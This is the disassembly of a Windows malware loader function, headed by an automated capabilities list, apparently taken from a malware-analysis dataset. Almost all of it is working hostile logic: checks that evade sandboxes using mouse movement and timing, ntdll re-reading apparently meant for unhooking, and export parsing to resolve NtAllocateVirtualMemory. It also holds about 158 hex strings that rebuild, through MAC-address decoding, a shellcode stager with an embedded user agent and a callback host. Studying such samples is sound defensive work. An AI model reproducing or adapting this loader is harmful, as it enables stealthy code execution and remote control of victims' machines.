Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute command
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rbp + 0x598], rax
mov rdi, rdx
xor r12d, r12d
mov dword [rsp + 0x60], r12d
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [rbp - 0x28]
cmp dword [rbp - 0x30], ecx
jne 0x1400012cf
mov ecx, dword [rbp - 0x24]
cmp dword [rbp - 0x2c], ecx
jne 0x1400012cf
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xbb8
ja 0x1400026ba
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rbp - 0x28]
cmp dword [rbp - 0x30], eax
je 0x140001297
mov rax, qword [rdi + 8]
mov r8, qword [rdi]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400012f3
inc rax
test ecx, ecx
jne 0x1400012e0
test edx, edx
je 0x140001300
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140001316
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x30], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001379
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.c:windows_system32_ntdll.dll
lea rcx, str.Failed_to_open_the_file__ls__error_code:__u_n
call fcn.140001010
jmp 0x140001436
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x1400013b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.c:windows_system32_ntdll.dll
lea rcx, str.Failed_to_get_the_size_of_the_file__ls__error_code:__u_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001436
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400013dd
lea rcx, str.Failed_to_allocate_memory_for_the_file_content_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001436
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x30]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001421
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_read_the_file_content__error_code:__u_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001436
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x70], rdi
mov eax, dword [rbp - 0x30]
mov dword [rsp + 0x78], eax
mov ebx, dword [rsp + 0x78]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov r8d, ebx
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov edx, dword [r15 + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov qword [rbp - 0x50], rax
mov r8d, dword [r15 + 0x54]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
mov esi, r12d
cmp r12w, word [r15 + 6]
jae 0x1400014c3
add rbx, r15
nop
mov ecx, dword [rbx - 8]
add rcx, rdi
mov edx, dword [rbx]
add rdx, r14
mov r8d, dword [rbx - 4]
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [r15 + 6]
cmp esi, eax
jl 0x1400014a0
mov r14d, dword [r15 + 0x90]
add r14, 0xc
add r14, rdi
mov eax, dword [r14]
test eax, eax
je 0x14000152e
nop dword [rax + rax]
mov ecx, eax
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140001523
mov ebx, dword [r14 + 4]
add rbx, rdi
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001523
mov edx, ecx
add rdx, 2
add rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
lea rbx, [rbx + 8]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140001502
add r14, 0x14
mov eax, dword [r14]
test eax, eax
jne 0x1400014e0
mov r15d, dword [r15 + 0x88]
add r15, rdi
mov qword [rsp + 0x70], r15
mov esi, dword [r15 + 0x20]
add rsi, rdi
mov qword [rbp - 0x30], rsi
mov r12d, dword [r15 + 0x1c]
add r12, rdi
mov qword [rbp - 0x28], r12
mov r13d, dword [r15 + 0x24]
add r13, rdi
mov qword [rsp + 0x68], r13
xor r14d, r14d
movdqa xmm0, xmmword [str.NtAllocateVirtuaNtProtectVirtualNtCreateThreadEx]
movdqu xmmword [rbp + 0x550], xmm0
mov dword [rbp + 0x560], 0x6d654d6c
mov dword [rbp + 0x564], 0x79726f
xor ebx, ebx
cmp dword [r15 + 0x14], ebx
jbe 0x1400015d7
nop
mov ecx, dword [rsi]
add rcx, rdi
lea rsi, [rsi + 4]
lea rdx, [rbp + 0x550]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400015c7
inc ebx
cmp ebx, dword [r15 + 0x14]
jb 0x140001590
mov rdx, rdi
lea rcx, str._n_nntdll_mem_addr_____p_n_n
call fcn.140001010
jmp 0x14000167f
movsxd rax, ebx
movzx ecx, word [r13 + rax*2]
mov r14d, dword [r12 + rcx*4]
add r14, rdi
mov rdx, rdi
lea rcx, str._n_nntdll_mem_addr_____p_n_n
call fcn.140001010
test r14, r14
je 0x14000167f
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [0x140008038]
xor r8d, r8d
lea rdx, [0x1400086f0]
lea rcx, [r8 - 1]
call r14
test eax, eax
jns 0x140001664
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtAllocateVirtualMemory___u__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rbp + 0x598]
xor rcx, rsp
call fcn.1400031a0
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, r14
lea rcx, str._n___NtAllocateVirtualMemory____p_n
call fcn.140001010
lea rcx, str.___NtAllocatedVirtualMemory_Executed_____n
call fcn.140001010
lea rax, str.86_01_00_00_33_34
mov qword [rbp + 0x60], rax
lea rax, str.34_3A_6D_6F_63_2E
mov qword [rbp + 0x68], rax
lea rax, str.62_6C_73_67_6E_64
mov qword [rbp + 0x70], rax
lea rax, str.63_2E_77_2E_6D_6F
mov qword [rbp + 0x78], rax
lea rax, str.63_2E_6D_6D_6E_61
mov qword [rbp + 0x80], rax
lea rax, str.79_67_6E_6F_68_2E
mov qword [rbp + 0x88], rax
lea rax, str.6E_64_63_FF_FF_FD
mov qword [rbp + 0x90], rax
lea rax, str.7F_E8_C3_50_00_00
mov qword [rbp + 0x98], rax
lea rax, str.00_00_05_48_58_58
mov qword [rbp + 0xa0], rax
lea rax, str.58_D7_75_C0_85_C3
mov qword [rbp + 0xa8], rax
lea rax, str.01_48_07_8B_66_B6
mov qword [rbp + 0xb0], rax
lea rax, str.74_C0_85_20_C4_83
mov qword [rbp + 0xb8], rax
lea rax, str.48_D5_FF_E2_89_96
mov qword [rbp + 0xc0], rax
lea rax, str.12_BA_41_F9_89_49
mov qword [rbp + 0xc8], rax
lea rax, str.00_00_20_00_B8_41
mov qword [rbp + 0xd0], rax
lea rax, str.DA_89_48_F1_89_48
mov qword [rbp + 0xd8], rax
lea rax, str.E7_89_48_53_53_93
mov qword [rbp + 0xe0], rax
lea rax, str.48_D5_FF_E5_53_A4
mov qword [rbp + 0xe8], rax
lea rax, str.58_BA_41_00_00_00
mov qword [rbp + 0xf0], rax
lea rax, str.40_B9_41_00_00_10
mov qword [rbp + 0xf8], rax
lea rax, str.00_B8_41_00_40_00
mov qword [rbp + 0x100], rax
lea rax, str.00_BA_C9_31_48_D5
mov qword [rbp + 0x108], rax
lea rax, str.FF_56_A2_B5_F0_BE
mov qword [rbp + 0x110], rax
lea rax, str.41_00_10_14_29_FB
mov qword [rbp + 0x118], rax
lea rax, str.16_4C_0F_97_EB_3F
mov qword [rbp + 0x120], rax
lea rax, str.69_33_82_20_21_97
mov qword [rbp + 0x128], rax
lea rax, str.D7_BA_4F_C4_D4_05
mov qword [rbp + 0x130], rax
lea rax, str.0D_CB_19_54_7B_74
mov qword [rbp + 0x138], rax
lea rax, str.34_3A_34_12_6E_E8
mov qword [rbp + 0x140], rax
lea rax, str.E6_7F_08_17_EC_A8
mov qword [rbp + 0x148], rax
lea rax, str.DE_AA_92_24_58_EA
mov qword [rbp + 0x150], rax
lea rax, str.24_01_1B_E1_FB_77
mov qword [rbp + 0x158], rax
lea rax, str.65_7E_19_46_4C_B0
mov qword [rbp + 0x160], rax
lea rax, str.46_7D_73_C7_A7_77
mov qword [rbp + 0x168], rax
lea rax, str.3C_0F_59_B5_86_15
mov qword [rbp + 0x170], rax
lea rax, str.F0_24_2A_29_5A_0C
mov qword [rbp + 0x178], rax
lea rax, str.73_73_03_99_D0_6C
mov qword [rbp + 0x180], rax
lea rax, str.2B_C6_5F_3D_20_93
mov qword [rbp + 0x188], rax
lea rax, str.8C_63_8B_6F_52_B5
mov qword [rbp + 0x190], rax
lea rax, str.1A_0D_F6_B2_06_8E
mov qword [rbp + 0x198], rax
lea rax, str.81_BD_7B_C2_3E_4F
mov qword [rbp + 0x1a0], rax
lea rax, str.C8_31_D1_96_DF_35
mov qword [rbp + 0x1a8], rax
lea rax, str.65_2B_3C_48_86_C4
mov qword [rbp + 0x1b0], rax
lea rax, str.86_3E_E6_DA_95_47
mov qword [rbp + 0x1b8], rax
lea rax, str.15_0F_20_15_E9_C4
mov qword [rbp + 0x1c0], rax
lea rax, str.2C_B4_2B_A5_E3_4E
mov qword [rbp + 0x1c8], rax
lea rax, str.BD_43_90_6E_67_60
mov qword [rbp + 0x1d0], rax
lea rax, str.35_C5_B4_0D_C7_DD
mov qword [rbp + 0x1d8], rax
lea rax, str.B7_08_1D_3F_5B_92
mov qword [rbp + 0x1e0], rax
lea rax, str.2B_41_13_F5_DF_BF
mov qword [rbp + 0x1e8], rax
lea rax, str.40_6B_9F_B4_75_6A
mov qword [rbp + 0x1f0], rax
lea rax, str.44_BA_D6_AE_36_69
mov qword [rbp + 0x1f8], rax
lea rax, str.6D_A3_98_7C_D6_00
mov qword [rbp + 0x200], rax
lea rax, str.0A_0D_6D_6F_63_2E
mov qword [rbp + 0x208], rax
lea rax, str.6D_6D_6E_61_79_67
mov qword [rbp + 0x210], rax
lea rax, str.6E_6F_68_2E_6E_64
mov qword [rbp + 0x218], rax
lea rax, str.63_20_3A_74_73_6F
mov qword [rbp + 0x220], rax
lea rax, str.48_0A_0D_29_53_4A
mov qword [rbp + 0x228], rax
lea rax, str.32_55_53_41_20_3B
mov qword [rbp + 0x230], rax
lea rax, str.68_63_75_6F_54_20
mov qword [rbp + 0x238], rax
lea rax, str.3B_30_2E_36_2F_74
mov qword [rbp + 0x240], rax
lea rax, str.6E_65_64_69_72_54
mov qword [rbp + 0x248], rax
lea rax, str.20_3B_34_36_57_4F
mov qword [rbp + 0x250], rax
lea rax, str.57_20_3B_32_2E_36
mov qword [rbp + 0x258], rax
lea rax, str.20_54_4E_20_73_77
mov qword [rbp + 0x260], rax
lea rax, str.6F_64_6E_69_57_20
mov qword [rbp + 0x268], rax
lea rax, str.3B_30_2E_30_31_20
mov qword [rbp + 0x270], rax
lea rax, str.45_49_53_4D_20_3B
mov qword [rbp + 0x278], rax
lea rax, str.65_6C_62_69_74_61
mov qword [rbp + 0x280], rax
lea rax, str.70_6D_6F_63_28_20
mov qword [rbp + 0x288], rax
lea rax, str.30_2E_35_2F_61_6C
mov qword [rbp + 0x290], rax
lea rax, str.6C_69_7A_6F_4D_20
mov qword [rbp + 0x298], rax
lea rax, str.3A_74_6E_65_67_41
mov qword [rbp + 0x2a0], rax
lea rax, str.2D_72_65_73_55_00
mov qword [rbp + 0x2a8], rax
lea rax, str.D8_20_1F_58_21_14
mov qword [rbp + 0x2b0], rax
lea rax, str.3B_55_32_5C_5C_EB
mov qword [rbp + 0x2b8], rax
lea rax, str.56_28_46_12_FE_94
mov qword [rbp + 0x2c0], rax
lea rax, str.13_CB_70_4E_D9_84
mov qword [rbp + 0x2c8], rax
lea rax, str.05_D0_D3_C7_62_EE
mov qword [rbp + 0x2d0], rax
lea rax, str.0C_08_6D_0E_1C_C0
mov qword [rbp + 0x2d8], rax
lea rax, str.96_82_59_FE_10_87
mov qword [rbp + 0x2e0], rax
lea rax, str.74_21_79_2C_FD_DD
mov qword [rbp + 0x2e8], rax
lea rax, str.E2_27_1B_40_A8_00
mov qword [rbp + 0x2f0], rax
lea rax, str.67_6E_70_2E_38_31
mov qword [rbp + 0x2f8], rax
lea rax, str.68_6A_31_36_35_34
mov qword [rbp + 0x300], rax
lea rax, str.67_6A_68_6A_6E_31
mov qword [rbp + 0x308], rax
lea rax, str.66_36_67_35_68_31
mov qword [rbp + 0x310], rax
lea rax, str.6A_FF_FF_FF_82_E8
mov qword [rbp + 0x318], rax
lea rax, str.00_00_01_E4_E9_B3
mov qword [rbp + 0x320], rax
lea rax, str.EB_00_00_01_8C_84
mov qword [rbp + 0x328], rax
lea rax, str.0F_CF_FF_48_00_00
mov qword [rbp + 0x330], rax
lea rax, str.01_9D_85_0F_C0_85
mov qword [rbp + 0x338], rax
lea rax, str.D5_FF_7B_18_06_2D
mov qword [rbp + 0x340], rax
lea rax, str.BA_41_52_52_C9_31
mov qword [rbp + 0x348], rax
lea rax, str.4D_FF_FF_FF_FF_C0
mov qword [rbp + 0x350], rax
lea rax, str.C7_49_DA_89_48_F1
mov qword [rbp + 0x358], rax
lea rax, str.89_48_D5_FF_86_9E
mov qword [rbp + 0x360], rax
lea rax, str.46_75_BA_41_00_00
mov qword [rbp + 0x368], rax
lea rax, str.00_04_B9_41_E0_89
mov qword [rbp + 0x370], rax
lea rax, str.49_00_00_33_80_68
mov qword [rbp + 0x378], rax
lea rax, str.00_6A_00_00_00_1F
mov qword [rbp + 0x380], rax
lea rax, str.BA_F1_89_48_5F_0A
mov qword [rbp + 0x388], rax
lea rax, str.6A_50_C3_83_48_C6
mov qword [rbp + 0x390], rax
lea rax, str.89_48_D5_FF_3B_2E
mov qword [rbp + 0x398], rax
lea rax, str.55_EB_BA_41_52_52
mov qword [rbp + 0x3a0], rax
lea rax, str.84_C0_32_00_68_52
mov qword [rbp + 0x3a8], rax
lea rax, str.C9_31_4D_D8_89_49
mov qword [rbp + 0x3b0], rax
lea rax, str.D2_31_48_C1_89_48
mov qword [rbp + 0x3b8], rax
lea rax, str.5B_79_EB_D5_FF_C6
mov qword [rbp + 0x3c0], rax
lea rax, str.9F_89_57_BA_41_51
mov qword [rbp + 0x3c8], rax
lea rax, str.41_03_6A_51_41_51
mov qword [rbp + 0x3d0], rax
lea rax, str.41_C9_31_4D_00_00
mov qword [rbp + 0x3d8], rax
lea rax, str.01_BB_B8_41_C1_89
mov qword [rbp + 0x3e0], rax
lea rax, str.48_5A_00_00_00_93
mov qword [rbp + 0x3e8], rax
lea rax, str.E9_D5_FF_A7_79_56
mov qword [rbp + 0x3f0], rax
lea rax, str.3A_BA_41_50_41_50
mov qword [rbp + 0x3f8], rax
lea rax, str.41_C9_31_4D_C0_31
mov qword [rbp + 0x400], rax
lea rax, str.4D_D2_31_48_C9_31
mov qword [rbp + 0x408], rax
lea rax, str.48_D5_FF_07_26_77
mov qword [rbp + 0x410], rax
lea rax, str.4C_BA_41_F1_89_4C
mov qword [rbp + 0x418], rax
lea rax, str.E6_89_49_56_41_00
mov qword [rbp + 0x420], rax
lea rax, str.74_65_6E_69_6E_69
mov qword [rbp + 0x428], rax
lea rax, str.77_BE_49_00_6A_5D
mov qword [rbp + 0x430], rax
lea rax, str.FF_FF_FF_4F_E9_12
mov qword [rbp + 0x438], rax
lea rax, str.8B_48_5A_59_41_58
mov qword [rbp + 0x440], rax
lea rax, str.E0_FF_52_41_20_EC
mov qword [rbp + 0x448], rax
lea rax, str.83_48_5A_41_59_41
mov qword [rbp + 0x450], rax
lea rax, str.58_41_5A_59_5E_58
mov qword [rbp + 0x458], rax
lea rax, str.41_58_41_D0_01_48
mov qword [rbp + 0x460], rax
lea rax, str.88_04_8B_41_D0_01
mov qword [rbp + 0x468], rax
lea rax, str.49_1C_40_8B_44_48
mov qword [rbp + 0x470], rax
lea rax, str.0C_8B_41_66_D0_01
mov qword [rbp + 0x478], rax
lea rax, str.49_24_40_8B_44_58
mov qword [rbp + 0x480], rax
lea rax, str.D8_75_D1_39_45_08
mov qword [rbp + 0x488], rax
lea rax, str.24_4C_03_4C_F1_75
mov qword [rbp + 0x490], rax
lea rax, str.E0_38_C1_01_41_0D
mov qword [rbp + 0x498], rax
lea rax, str.C9_C1_41_AC_C0_31
mov qword [rbp + 0x4a0], rax
lea rax, str.48_C9_31_4D_D6_01
mov qword [rbp + 0x4a8], rax
lea rax, str.48_88_34_8B_41_C9
mov qword [rbp + 0x4b0], rax
lea rax, str.FF_48_56_E3_D0_01
mov qword [rbp + 0x4b8], rax
lea rax, str.49_20_40_8B_44_18
mov qword [rbp + 0x4c0], rax
lea rax, str.48_8B_50_D0_01_48
mov qword [rbp + 0x4c8], rax
lea rax, str.67_74_C0_85_48_00
mov qword [rbp + 0x4d0], rax
lea rax, str.00_00_88_80_8B_72
mov qword [rbp + 0x4d8], rax
lea rax, str.75_02_0B_18_78_81
mov qword [rbp + 0x4e0], rax
lea rax, str.66_D0_01_48_3C_42
mov qword [rbp + 0x4e8], rax
lea rax, str.8B_20_52_8B_48_51
mov qword [rbp + 0x4f0], rax
lea rax, str.41_52_ED_E2_C1_01
mov qword [rbp + 0x4f8], rax
lea rax, str.41_0D_C9_C1_41_20
mov qword [rbp + 0x500], rax
lea rax, str.2C_02_7C_61_3C_AC
mov qword [rbp + 0x508], rax
lea rax, str.C0_31_48_C9_31_4D
mov qword [rbp + 0x510], rax
lea rax, str.4A_4A_B7_0F_48_50
mov qword [rbp + 0x518], rax
lea rax, str.72_8B_48_20_52_8B
mov qword [rbp + 0x520], rax
lea rax, str.48_18_52_8B_48_60
mov qword [rbp + 0x528], rax
lea rax, str.52_8B_48_65_D2_31
mov qword [rbp + 0x530], rax
lea rax, str.48_56_51_52_50_41
mov qword [rbp + 0x538], rax
lea rax, str.51_41_00_00_00_C8
mov qword [rbp + 0x540], rax
lea rax, str.E8_F0_E4_83_48_FC
mov qword [rbp + 0x548], rax
xor edi, edi
mov qword [rbp - 0x38], rdi
mov rax, qword [0x1400086f0]
mov qword [rbp - 0x40], rax
mov r13d, edi
mov qword [rbp - 0x58], rdi
nop
mov rdx, qword [rbp + r13*8 + 0x60]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140001f50
lea rcx, [rbp + 0x38]
call fcn.1400027b0
nop
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], rdi
mov qword [rbp + 0x18], rdi
mov rdx, rdi
mov qword [rbp + 0x28], rdx
mov r12d, 0xf
mov qword [rbp + 0x30], r12
mov byte [rbp + 0x18], 0
lea rbx, [rbp + 0x38]
mov rsi, qword [rbp + 0x38]
mov qword [rbp - 0x48], rsi
mov r15, qword [rbp + 0x50]
cmp r15, 0x10
cmovae rbx, rsi
lea rdi, [rbp + 0x38]
cmovae rdi, rsi
add rdi, qword [rbp + 0x48]
cmp rbx, rdi
je 0x14000204e
xor r14d, r14d
nop dword [rax]
movzx r9d, byte [rbx]
cmp r9b, 0x2d
je 0x140002042
cmp rdx, r12
jae 0x140001fef
lea rax, [rdx + 1]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x18]
cmp r12, 0x10
cmovae rax, qword [rbp + 0x18]
mov byte [rax + rdx], r9b
mov byte [rax + rdx + 1], r14b
jmp 0x140001ff8
lea rcx, [rbp + 0x18]
call fcn.140002d40
mov rdx, qword [rbp + 0x28]
cmp rdx, 2
jne 0x14000203e
mov rdx, qword [rbp - 0x18]
lea r8, [rbp + 0x18]
cmp rdx, qword [rbp - 0x10]
je 0x14000201c
call fcn.140002990
add qword [rbp - 0x18], 0x20
jmp 0x140002025
lea rcx, [rbp - 0x20]
call fcn.140002a90
mov qword [rbp + 0x28], r14
lea rax, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rax, qword [rbp + 0x18]
mov byte [rax], r14b
mov rdx, qword [rbp + 0x28]
mov r12, qword [rbp + 0x30]
inc rbx
cmp rbx, rdi
jne 0x140001fc0
mov rbx, qword [rbp - 0x20]
mov r14, qword [rbp - 0x18]
cmp rbx, r14
je 0x14000209a
nop dword [rax + rax]
sub r14, 0x20
cmp rbx, r14
je 0x140002092
movups xmm2, xmmword [rbx]
movups xmm3, xmmword [rbx + 0x10]
movups xmm0, xmmword [r14]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [r14], xmm2
movups xmmword [r14 + 0x10], xmm3
add rbx, 0x20
cmp rbx, r14
jne 0x140002060
mov r14, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
xor edi, edi
mov qword [rbp - 8], rdi
mov r8d, edi
mov qword [rbp + 8], rdi
mov ecx, 0xf
mov qword [rbp + 0x10], rcx
mov byte [rbp - 8], dil
cmp rbx, r14
je 0x140002278
nop dword [rax]
mov r13, qword [rbx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 1
jb 0x1400026c1
mov qword [rbp - 0x60], rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400020f0
mov rax, qword [rbx]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea r15, [r13 + 1]
mov edi, 0xf
lea rsi, [rbp - 0x80]
cmp r15, rdi
jbe 0x140002184
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x140002129
mov rdi, rcx
movabs rax, 0x8000000000000027
jmp 0x140002150
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000216f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400026cd
mov rcx, rax
call fcn.1400031c0
test rax, rax
je 0x140002524
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002180
test rcx, rcx
je 0x14000217e
call fcn.1400031c0
mov rsi, rax
jmp 0x140002180
xor esi, esi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov r8, r13
mov rdx, qword [rbp - 0x60]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r13], 0x2d
mov byte [rsi + r15], 0
or dword [rsp + 0x60], 1
lea r9, [rbp - 0x80]
mov rsi, qword [rbp - 0x80]
mov r13, qword [rbp - 0x68]
cmp r13, 0x10
cmovae r9, rsi
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
mov rax, rdx
sub rax, rcx
mov r15, qword [rbp - 0x70]
cmp r15, rax
ja 0x140002202
lea rax, [r15 + rcx]
mov qword [rbp + 8], rax
lea rdi, [rbp - 8]
cmp rdx, 0x10
cmovae rdi, qword [rbp - 8]
add rdi, rcx
mov r8, r15
mov rdx, r9
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + r15], 0
jmp 0x14000221b
mov qword [rsp + 0x20], r15
mov rdx, r15
lea rcx, [rbp - 8]
call fcn.140002f30
mov r13, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x80]
cmp r13, 0x10
jb 0x140002252
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000224a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002524
mov rcx, rsi
call fcn.1400031fc
add rbx, 0x20
cmp rbx, r14
mov edi, 0
jne 0x1400020c0
mov rcx, qword [rbp + 0x10]
mov r8, qword [rbp + 8]
mov rsi, qword [rbp - 0x48]
mov r15, qword [rbp + 0x50]
mov r13, qword [rbp - 0x58]
lea r9, [r8 - 1]
cmp r8, r9
jb 0x1400026c7
mov rax, r8
sub rax, r9
mov edx, 1
cmp rax, rdx
cmovb rdx, rax
lea rax, [rbp - 8]
cmp rcx, 0x10
cmovae rax, qword [rbp - 8]
lea rcx, [rax + r9]
sub r8, rdx
mov qword [rbp + 8], r8
sub r8, r9
inc r8
add rdx, rcx
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rcx, qword [rbp - 8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbp + r13*8 + 0x60], rax
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x140002311
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000230c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000252b
call fcn.1400031fc
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
cmp r12, 0x10
jb 0x14000235b
lea rdx, [r12 + 1]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002355
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002532
call fcn.1400031fc
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400023b2
mov rdx, qword [rbp - 0x18]
call fcn.140002ea0
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002539
call fcn.1400031fc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
cmp r15, 0x10
jb 0x1400023e9
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400023e1
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002540
mov rcx, rsi
call fcn.1400031fc
inc r13
mov qword [rbp - 0x58], r13
cmp r13, 0x9e
jl 0x140001f30
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x60]
call fcn.1400030d4
mov rbx, rdi
mov rdi, qword [rbp - 0x40]
mov r8, rdi
lea rdx, [rbp - 0x38]
mov rcx, qword [rbp + rbx*8 + 0x60]
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x1400026ba
add rdi, 6
inc rbx
cmp rbx, 0x9e
jl 0x140002414
mov rax, qword [rbp - 0x30]
mov rsi, rax
movdqa xmm0, xmmword [0x140006650]
movdqu xmmword [rbp + 0x568], xmm0
mov dword [rbp + 0x578], 0x6f6d654d
mov word [rbp + 0x57c], 0x7972
mov byte [rbp + 0x57e], 0
xor r12d, r12d
mov edi, r12d
mov r14, qword [rsp + 0x70]
mov rbx, qword [rbp - 0x50]
cmp dword [r14 + 0x14], r12d
jbe 0x1400025c5
